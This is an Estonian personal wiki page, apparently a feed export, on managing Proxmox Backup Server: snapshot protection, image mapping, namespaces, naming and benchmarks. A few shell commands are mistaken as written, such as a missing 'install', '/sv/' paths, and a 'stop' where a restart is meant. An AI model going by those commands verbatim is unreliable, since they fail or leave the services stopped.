====Protected====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi prunemine kustutab hiljem või varem kõik varundused ära. Kui soovitakse mõnda seisu (olgu see moodustunud automaatselt või käsitsi) säilitada lõpmatult kaua, siis sobib märkida ta Protected olekusse. Seda saab teha PVE 7.1 webgui liideses, ja PBS v. 2.1 webgui liidses&lt;br /&gt;
&lt;br /&gt;
  Datastore -&amp;gt; ds_nimi -&amp;gt; Content -&amp;gt; Group -&amp;gt; snapshot&lt;br /&gt;
&lt;br /&gt;
* group - virtuaalne arvuti&lt;br /&gt;
* snapshot - konkreetsele ajale vastav varundus&lt;br /&gt;
&lt;br /&gt;
Kõigi toimunud varunduste protected olekusse seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# export PBS_PASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
# cat pbs-protected.sh&lt;br /&gt;
for i in `proxmox-backup-client list  --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff | awk {'print $2'} | grep &amp;quot;^vm&amp;quot;`; do &lt;br /&gt;
  for j in `proxmox-backup-client snapshot list ${i} --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff | awk {'print $2'} | grep ^vm`; do &lt;br /&gt;
    proxmox-backup-client snapshot protected update ${j} true --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff;&lt;br /&gt;
  done; &lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# sh pbs-protected.sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Edukast tulemusest annab tunnistust varunduste Content vaates, et snaphost real on Protected pildike muutunud hallist roheliseks.&lt;br /&gt;
&lt;br /&gt;
====Prune simulator====&lt;br /&gt;
&lt;br /&gt;
Aadressil https://pbs.proxmox.com/docs/prune-simulator/ asub tore simulaator, mille abil illustreeritakse milliseid konkreetseid varundusi prunemine tabab.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Varundamise kasutamine võib olla lihtsam ja varundus kvaliteetsem (kooskõlalisem) kui varundatavate arvutite failisüsteemid ei ole laiali määritud mitmele plokkseadmele (nt lvm volume group asub ühel virtio plokkseadmel).&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pbs.proxmox.com/docs/prune-simulator/&lt;br /&gt;
&lt;br /&gt;
===PVE integreeritud varunduse kasutamine proxmox-backup-client abil===&lt;br /&gt;
&lt;br /&gt;
PVE integreeritud varunduse kasutamiseks on vaja&lt;br /&gt;
&lt;br /&gt;
* varundatud andmeid PBS serveris&lt;br /&gt;
* varunduse serverile üle nn api port 8007 liidese ligipääsu&lt;br /&gt;
* teada datastore nime varunduse arvutis&lt;br /&gt;
* nö klientarvutit kuhu on paigaldatud proxmox-backup-client tarkvara (see võiks olla nö kolmas arvuti, st mitte pbs ega varundatud arvuti ise)&lt;br /&gt;
&lt;br /&gt;
Varundatud arvutite nimekirja küsimine (nn group'id)&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client list --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 Password for &amp;quot;pm60-trt@pbs&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
Varundatud arvuti varunduste nimekirja küsimine (nn snapshot'id)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-backup-client snapshot list vm/194 --output-format text  --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
┌─────────────────────────────┬────────┬────────────────────────────────────────────────────────────────────────────┐&lt;br /&gt;
│ snapshot                    │   size │ files                                                                      │&lt;br /&gt;
╞═════════════════════════════╪════════╪════════════════════════════════════════════════════════════════════════════╡&lt;br /&gt;
│ vm/194/2021-01-02T13:23:12Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
├─────────────────────────────┼────────┼────────────────────────────────────────────────────────────────────────────┤&lt;br /&gt;
│ vm/194/2021-01-02T14:26:53Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
├─────────────────────────────┼────────┼────────────────────────────────────────────────────────────────────────────┤&lt;br /&gt;
│ vm/194/2021-10-09T20:59:42Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
└─────────────────────────────┴────────┴────────────────────────────────────────────────────────────────────────────┘&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protection muutmine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client snapshot protected update vm/194/2021-01-02T13:23:12Z  true --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client snapshot protected update vm/194/2021-01-02T13:23:12Z  false --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
&lt;br /&gt;
Tõmmise kasutamine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio0.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio1.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio2.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
&lt;br /&gt;
kui virtuaalses arvuti on moodustatud neile nt lvm, siis tuleks öelda&lt;br /&gt;
&lt;br /&gt;
 # vgchange -a y&lt;br /&gt;
 # lvdisplay&lt;br /&gt;
 # mount -o ro,norecovery /dev/sys/root /mnt/root&lt;br /&gt;
&lt;br /&gt;
Seejärel saab /mnt/root alt kasutada varundatud seisu nii nagu tavalist read-only failisüsteemi. Kasutamise lõpetamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/root&lt;br /&gt;
 # vgchange -a n&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio0.img&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio1.img&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio2.img&lt;br /&gt;
&lt;br /&gt;
ilma viimase argumendita esitatakse mapped ressursside nimekiri&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-backup-client unmap&lt;br /&gt;
/dev/loop26:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio2.img&lt;br /&gt;
/dev/loop25:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio1.img&lt;br /&gt;
/dev/loop24:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio0.img&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
proxmox-backup-client nn kolmanda arvuti ettevalmistamine&lt;br /&gt;
&lt;br /&gt;
Esmalt paigaldada Ubuntu 20.04 või Debian v. 10 või v. 11 nö tavaliselt viisil. Seejärel lisada repo võti, nt Ubuntu 20.04 puhul&lt;br /&gt;
&lt;br /&gt;
 # wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg&lt;br /&gt;
&lt;br /&gt;
Moodustada source fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pbs-client.list &lt;br /&gt;
 deb [arch=amd64] http://download.proxmox.com/debian/pbs-client buster main&lt;br /&gt;
&lt;br /&gt;
Paigaldada tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get proxmox-backup-client&lt;br /&gt;
&lt;br /&gt;
===Namespace kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace list  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
Password for &amp;quot;root@pam&amp;quot;: ************&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace create tere  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace list  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
tere&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
PBS töötamise käigus kasutatakse katalooge selliselt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /srv/pbs-rmt/* /srv/pbs-rmt/ns/* /srv/pbs-rmt/.chunks /srv/pbs-rmt/ns/tmp-pve-1/vm/5001/*/*&lt;br /&gt;
drwxr-x--- 1 backup backup 1060864 Dec 17 16:27 /srv/pbs-rmt/.chunks&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:33 /srv/pbs-rmt/ns&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:33 /srv/pbs-rmt/vm&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tartu&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn&lt;br /&gt;
-rw-r--r-- 1 backup backup     627 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/client.log.blob&lt;br /&gt;
-rw-r--r-- 1 backup backup   86016 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/drive-virtio0.img.fidx&lt;br /&gt;
-rw-r--r-- 1 backup backup     422 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/index.json.blob&lt;br /&gt;
-rw-r--r-- 1 backup backup     355 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/qemu-server.conf.blob&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /srv/pbs-rmt/ns/ns-pve-tartu - konkreetsele namespace'ile vastav kataloog, tõenäoliselt varundatakse ühe namespace alla ühte pve setup'i (kas standalone proxmox või pve klaster); üks pbs võimaldab namespace instrumendi abil teenindada mitmete pve setup'ide varundamist seejuures vältides vmid väärtuste jms konflikte&lt;br /&gt;
* /srv/pbs-rmt/.chunks - varundatud andmed (siin toimub dedupleerimine, pakkimine jms) - seal on koos kõigi namespace'ide alla kuuluvad andmed&lt;br /&gt;
* /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z - arvuti vmid=5001 ühele konkreetsele varunduskorrale (tavaliselt on selliseid kuupäeva + kellaaeg nimelisi kataloogi mitu) vastvad metaandmeid; selle info abil oskab pbs taastada sh leiab üles .chunks kataloogist vajalikud varundatud andmed&lt;br /&gt;
* /srv/pbs-rmt/vm - namespace eelse aja varunduskorra metaandmete kataloog - vastab praegu namespace nimele 'Root'&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* namespace eelsel ajal liigendati mitut pve setuppi teenindava pbs serveri sees varundamisi erinevate datastore'ide moodustamise abil; namespace ajal kasutatakse pigem ühte datastore'i ning selle see liigendatakse erinevaid pve setuppisid namespace instrumendi abil&lt;br /&gt;
* tundub, et pbs webgui ja proxmox-backup-client utiliidile lisaks saab teatud tegevusi edukalt sooritada ka niisama ehedalt /etc/proxmox-backup-server kataloogi aluseid faile redigeerides&lt;br /&gt;
* tundub, et pbs serverisse moodustatud datastore'ile vastavat kataloogi (koos kogu selle sisuga) saab liigutada edukalt ühelt pbs serverilt teisele ja edasi kasutada (nt taasteks)&lt;br /&gt;
* tundub, et 1st ja 2nd proxmox serverisse moodustatud datastore on iseenesest täpselt samaväärne (nt saab ühe pve setup jaoks kasutusel olevat 2nd (ehk remote) pbs arvutit kasutada teise pve setup juures 1st pbs arvutina&lt;br /&gt;
* tundub, et pbs on väga robustne tarkvara, st tema töötamisega ei kaasne mingeid salajasi binari andmebaase vms - kõik vajalik on /etc/proxmox-backup-server kataloogis või nö /srv/pbs failisüsteemis ja seadistused on tekstifailide kujul mida saab ettevaatlikult ka käsitsi tekstiredaktoriga hallata&lt;br /&gt;
&lt;br /&gt;
===Robustsed tegevused===&lt;br /&gt;
&lt;br /&gt;
Sarnaselt nagu tar programmiga on võimalik töötada .tar arhiivi failiga, muu hulgas&lt;br /&gt;
&lt;br /&gt;
* moodustada arhiivi&lt;br /&gt;
* esitada arhiivi kopeeritud failide nimekiri&lt;br /&gt;
* kopeerida arhiivist välja&lt;br /&gt;
* lisada faile arhiivi&lt;br /&gt;
* eemaldada faile arhiivist&lt;br /&gt;
&lt;br /&gt;
on võimalik PBS tarkvaraga teha samu tegevusi, kuid natuke teisel abstraktsiooni tasemel&lt;br /&gt;
&lt;br /&gt;
* seadistada pbs varunduse serverisse datastore&lt;br /&gt;
* kopeerida PVE keskkonnast virtuaalsete arvutite virtuaalseid plokkseadmeid datastore'i (virtuaalsele arvutile vastava komplektina)&lt;br /&gt;
* eemaldada PBS datastore pealt sinna kopeeritud arvuteid&lt;br /&gt;
* esitada datastore peale kopeeritud arvutite nimekiri&lt;br /&gt;
* kontrollida datastore peal olevate andmete terviklust&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* kui tar puhul on tööriistaks programm 'tar', siis pbs puhul on tööriistaks debian operatsioonisüsteem ja sellesse paigaldatud pbs tarkvara&lt;br /&gt;
* kui tar puhul on andmeteks .tar arhiiv st üks fail (seal on nii andmed kui metaandmed), siis pbs puhul on andmeteks /srv/pbs/.chunks, /srv/pbs/ns jt kataloogid (seal on nii andmed kui metaandmed)&lt;br /&gt;
* kui .tar arhiivist ei ole praktiliselt mõeldav mingi konkreetse andme kätte saamine ilma tar utiliidita, siis pbs puhul on olukord sarnane&lt;br /&gt;
* .tar arhiiv on võimalik moodustada ühes arvutis ja kasutada teises arvutis (natuke erineva tar programmi versiooniga), pbs puhul on olukord sarnane&lt;br /&gt;
&lt;br /&gt;
Tundub, et robustsete tegevuste eel on tark pbs protsessid ära lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
ja seejärel on nt võimalik&lt;br /&gt;
&lt;br /&gt;
* tekitada namespace'isid moodutades katalooge /srv/pbs/ns kataloogi alla&lt;br /&gt;
&lt;br /&gt;
 # mkdir /sv/pbs-tmp/ns/ns-tmp-4&lt;br /&gt;
 # chown backup:backup /srv/pbs-tmp/ns/ns-tmp-4&lt;br /&gt;
&lt;br /&gt;
* liigutada ns katalooge failisüsteemi tasemel ringi, tulemusena moodustub uus namespace ja see on ka sisustatud&lt;br /&gt;
&lt;br /&gt;
 # mv /sv/pbs-tmp/ns/ns-tmp-4 /sv/pbs-tmp/ns/ns-tmp-5&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Peale robustsete tegevuste lõppu pbs protsessid käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
===Objektide nimetamine===&lt;br /&gt;
&lt;br /&gt;
PBS tarkvara kasutamisel tuleb tegeleda kümnekonna objektiga (ressursside nimetamised, kasutajate nimetamised jms) ning asjakorraldust lihtsustab kui nende nimetamine on läbimõeldud. Järgnevas on esitatud üks võimalus&lt;br /&gt;
&lt;br /&gt;
* selguse mõttes on erinevat tüüpi objektide nimesid alustatud tüübile viitava prefixiga (nt 'user-')&lt;br /&gt;
&lt;br /&gt;
pbs 1st arvuti kasutajate nimekirjas on eemalt sisse pöörduvate kasutajate kirjeldused. Need kasutajad võiks nimetada nt nende pöördumise kohtade alusel, nt&lt;br /&gt;
&lt;br /&gt;
* user-pve-tartu&lt;br /&gt;
* user-pve-tallinn&lt;br /&gt;
&lt;br /&gt;
pbs 2nd arvutis võiks namespace'id nimeteada samuti pöördumiskohtade järgi, st varundatavate pve klastrite järgi&lt;br /&gt;
&lt;br /&gt;
* ns-tartu&lt;br /&gt;
* ns-tallinn&lt;br /&gt;
&lt;br /&gt;
eeldades, et kõik varundatavad asjad satuvad samasse datastore'i siis võib olla pbs arvutite datastore võiks nimetada mingi tehnoloogilise erinevus alusel, nt&lt;br /&gt;
&lt;br /&gt;
* ds-ssd&lt;br /&gt;
* ds-hdd&lt;br /&gt;
&lt;br /&gt;
datastorele vastav kataloog pbs arvutis, nt&lt;br /&gt;
&lt;br /&gt;
* /srv/pbs-ssd&lt;br /&gt;
* /srv/pbs-hdd&lt;br /&gt;
* /srv/pbs-zfs&lt;br /&gt;
&lt;br /&gt;
2nd pbs arvutis kirjeldatakse ära remote, st 1st pbs arvuti kust juba varundatud asju kopeeritakse. Üks 2nd pbs arvuti saab kopeerida mitmest 1st arvutist endale kokku andmeid (soovitavalt erinevatesse namespace'idesse). Sõna 'remote' kasutatakse siin natuke vastuoluliselt, eks. Nimetada võiks selle järgi kust kopeeritakse, nt&lt;br /&gt;
&lt;br /&gt;
* rmt-pbs-tartu-1st&lt;br /&gt;
* rmt-pbs-tallinn-1st&lt;br /&gt;
&lt;br /&gt;
PBS tüüpi storage nimetamine PVE Datacenter -&amp;gt; Storage osakonnas dialoogi lahtri 'ID' väärtuse mõttes. Võiks viidata pbs arvuti nimele ja rollile (kas 1st või 2nd), nt (sid nagu 'storage id')&lt;br /&gt;
&lt;br /&gt;
* sid-pbs-narva-1st&lt;br /&gt;
* sid-pbs-parnu-2nd&lt;br /&gt;
&lt;br /&gt;
PVE arvutite nimetamine&lt;br /&gt;
&lt;br /&gt;
* pve-tartu-01, pve-tartu-02&lt;br /&gt;
* pve-tallinn-01, pve-tallinn-02&lt;br /&gt;
&lt;br /&gt;
PBS arvutite nimetamine&lt;br /&gt;
&lt;br /&gt;
* pbs-narva-1st&lt;br /&gt;
* pbs-parnu-2nd&lt;br /&gt;
&lt;br /&gt;
===Jõudluse hindamine - benchmark===&lt;br /&gt;
&lt;br /&gt;
PVE ja PBS vahelise kontakti jõudluse hindamiseks sobib kasutada proxmox-backup-client programmi 'benchmark' osakonna funktsionaalsust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-moraal-x570:~# proxmox-backup-client benchmark --repository pm60-trt@pbs@192.168.10.197:ds-ssd&lt;br /&gt;
Password for &amp;quot;pm60-trt@pbs&amp;quot;: ****************&lt;br /&gt;
fingerprint: 64:3b:cb:fb:94:c3:c9:da:92:b9:02:68:36:2c:49:b8:12:87:09:66:98:f7:b8:ad:89:9b:cd:94:c4:bc:0f:c9&lt;br /&gt;
Are you sure you want to continue connecting? (y/n): y&lt;br /&gt;
fingerprint: 64:3b:cb:fb:94:c3:c9:da:92:b9:02:68:36:2c:49:b8:12:87:09:66:98:f7:b8:ad:89:9b:cd:94:c4:bc:0f:c9&lt;br /&gt;
Are you sure you want to continue connecting? (y/n): y&lt;br /&gt;
Uploaded 610 chunks in 5 seconds.&lt;br /&gt;
Time per request: 8268 microseconds.&lt;br /&gt;
TLS speed: 507.24 MB/s&lt;br /&gt;
SHA256 speed: 2308.48 MB/s&lt;br /&gt;
Compression speed: 645.59 MB/s&lt;br /&gt;
Decompress speed: 759.50 MB/s&lt;br /&gt;
AES256/GCM speed: 1673.09 MB/s&lt;br /&gt;
Verify speed: 568.91 MB/s&lt;br /&gt;
┌───────────────────────────────────┬─────────────────────┐&lt;br /&gt;
│ Name                              │ Value               │&lt;br /&gt;
╞═══════════════════════════════════╪═════════════════════╡&lt;br /&gt;
│ TLS (maximal backup upload speed) │ 507.24 MB/s (41%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ SHA256 checksum computation speed │ 2308.48 MB/s (114%) │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ ZStd level 1 compression speed    │ 645.59 MB/s (86%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ ZStd level 1 decompression speed  │ 759.50 MB/s (63%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ Chunk verification speed          │ 568.91 MB/s (75%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ AES256 GCM encryption speed       │ 1673.09 MB/s (46%)  │&lt;br /&gt;
└───────────────────────────────────┴─────────────────────┘&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
====PBS v. 3 - v. 4 uuendus====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 -&amp;gt; v. 13&lt;br /&gt;
* kernel 6.x -&amp;gt; 7.x&lt;br /&gt;
* zfs v. x -&amp;gt; 2.4.1&lt;br /&gt;
&lt;br /&gt;
Enne uuendust võiks küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pbs3to4 --full&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pbs.proxmox.com/wiki/Upgrade_from_3_to_4&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/wiki/Backup_and_Restore&lt;br /&gt;
* https://git.proxmox.com/?p=pve-qemu.git;a=blob_plain;f=backup.txt&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_Backup_Server&amp;diff=3414</id>
		<title>Proxmox Backup Server</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_Backup_Server&amp;diff=3414"/>
		<updated>2026-05-02T12:22:47Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 20260502 märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* PBS - Proxmox Backup Server&lt;br /&gt;
* PVE - Proxmox Virtualization Environment&lt;br /&gt;
* DS - datastore&lt;br /&gt;
* NS - namespace&lt;br /&gt;
* GC - garbage collect&lt;br /&gt;
* Purne - &lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* PBS vaikimisi pakib, st ei ole mõtet kasutada PBS storage juures pakkivat failisüsteemi vms (nt 'zfs create -o compression=lz4 ...' vms; tundub, et failisüstteemi pakkimise kasutmine ei muuda varundamiseks kuluvat aega ega mahtu, aga pbs serverile tekib natuke rohkem cpu koormust)&lt;br /&gt;
* PBS tegleb ise pakkimisega ja paistab, et seda ei saagi välja lülitada (nt proxmox pve webgui haldusliideses backup käivitamise on 'Compression: ZSTD (fast and good)' greyed-out&lt;br /&gt;
* mitu PSB serverit saab omavahel nö kokku aheldada, tulemusena tekib mitme etapiline varundus (varundus varundab varundust)&lt;br /&gt;
&lt;br /&gt;
Kasutusalad&lt;br /&gt;
&lt;br /&gt;
* varundatud ja riknenud arvuti asendamine varundusest taastatud arvutiga&lt;br /&gt;
* varundatud arvuti taastamine teisse proxmox klastrisse (nt kontrolli või uuringu eesmärgil)&lt;br /&gt;
&lt;br /&gt;
Üks võimalik kasutusjuhtum&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                         CLTARTU&lt;br /&gt;
&lt;br /&gt;
               pve-tartu-1             pve-tartu-2              pve-tartu-n&lt;br /&gt;
           __________________       __________________       __________________&lt;br /&gt;
          |                  |     |                  |     |                  |&lt;br /&gt;
          | vm1 (vmid=1001)  |     | vm3 (vmid=1003)  |     | vm5 (vmid=1005)  |&lt;br /&gt;
          | vm2 (vmid=1002)  |     | vm4 (vmid=1004)  |     | vm6 (vmid=1006)  |&lt;br /&gt;
          |__________________|     |__________________|     |__________________|&lt;br /&gt;
                    |                        |                        |&lt;br /&gt;
                    |                        |                        |&lt;br /&gt;
         -----------|-----------------|------|---------------------|--|-----------&lt;br /&gt;
                                      |                            |&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                 |             _______|_______             ________|________&lt;br /&gt;
                 |            |               |           |                 |&lt;br /&gt;
                 '---------&amp;gt;  |   ns-tartu    | &amp;lt;-------  |    ns-tartu     |&lt;br /&gt;
                              |               |           |                 |&lt;br /&gt;
                              | pbs-tartu-1st |           | pbs-tallinn-2nd |&lt;br /&gt;
                              |               |           |                 |&lt;br /&gt;
                 ,---------&amp;gt;  |  ns-tallinn   | &amp;lt;-------  |   ns-tallinn    |&lt;br /&gt;
                 |            |_______________|           |_________________|&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                                      |                            |&lt;br /&gt;
         ----------|------------------|------|---------------------|-|---------------&lt;br /&gt;
                   |                         |                       |&lt;br /&gt;
                   |                         |                       |&lt;br /&gt;
           ________|_________       _________|________       ________|_________&lt;br /&gt;
          |                  |     |                  |     |                  |&lt;br /&gt;
          | vm1 (vmid=1001)  |     | vm3 (vmid=1003)  |     | vm5 (vmid=1005)  |&lt;br /&gt;
          | vm2 (vmid=1002)  |     | vm4 (vmid=1004)  |     | vm6 (vmid=1006)  |&lt;br /&gt;
          |__________________|     |__________________|     |__________________|&lt;br /&gt;
&lt;br /&gt;
              pve-tallinn-1           pve-tallinn-2             pve-tallinn-n&lt;br /&gt;
&lt;br /&gt;
                                         CLTALLINN                                            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* pve-1, 2 ja 3 on proxmox virtual environment host arvutid&lt;br /&gt;
* vm1, vm2 ... vm6 on pve peal töötavad virtuaalsed arvutid&lt;br /&gt;
* pbs-1st on proxmox backup server abil realiseeritud esimese taseme varundus&lt;br /&gt;
* pbs-2nd on proxmox backup server abil realiseeritud teise taseme varundus&lt;br /&gt;
* pve-1 ... 3 peavad reeglina asuma samas subnetis&lt;br /&gt;
* pbs-1st ja 2nd ei pea asuma samas subnetis pve arvutitega ega ise üksteisega&lt;br /&gt;
* CLTARTU ja CLTALLINN - PVE klastrite nimed&lt;br /&gt;
&lt;br /&gt;
Varundamisega seotud võrguliiklus&lt;br /&gt;
&lt;br /&gt;
* andmeliikluse algamise mõttes pöörduvad nii vmN arvutid kui pbs-2nd arvuti pbs-1st arvuti poole&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Seadistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Datastore lisamine - pbs ja webgui====&lt;br /&gt;
&lt;br /&gt;
Järgneva eelduseks on, et pbs on paigaldatud ning arvutis on üks kasutamata /dev/vdc vms plokkseade. Datastore on võimalik seadistada pbs webgui liidese abil&lt;br /&gt;
&lt;br /&gt;
 Administration -&amp;gt; Storage/Disks -&amp;gt; Directory -&amp;gt; Create: Directory&lt;br /&gt;
&lt;br /&gt;
ning avanenud dialoogis täita lahtrid&lt;br /&gt;
&lt;br /&gt;
* Disk - /dev/vdc&lt;br /&gt;
* Filesystem - ext4&lt;br /&gt;
* Name - ds-pbs-tmp&lt;br /&gt;
* Add as Datastore - linnutada&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekitatakse systemd mount objekt, mis monteerib failisüsteemi /mnt/datastore alamkataloogiks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/systemd/system/mnt-datastore-ds\\x2dpbs\\x2dtmp.mount &lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Mount datatstore 'ds-pbs-tmp' under '/mnt/datastore/ds-pbs-tmp'&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
Options=defaults&lt;br /&gt;
Type=ext4&lt;br /&gt;
What=/dev/disk/by-uuid/5d52fefc-212a-45dc-ab68-dc55dc3ed051&lt;br /&gt;
Where=/mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mis täpsemalt paistab nii&lt;br /&gt;
&lt;br /&gt;
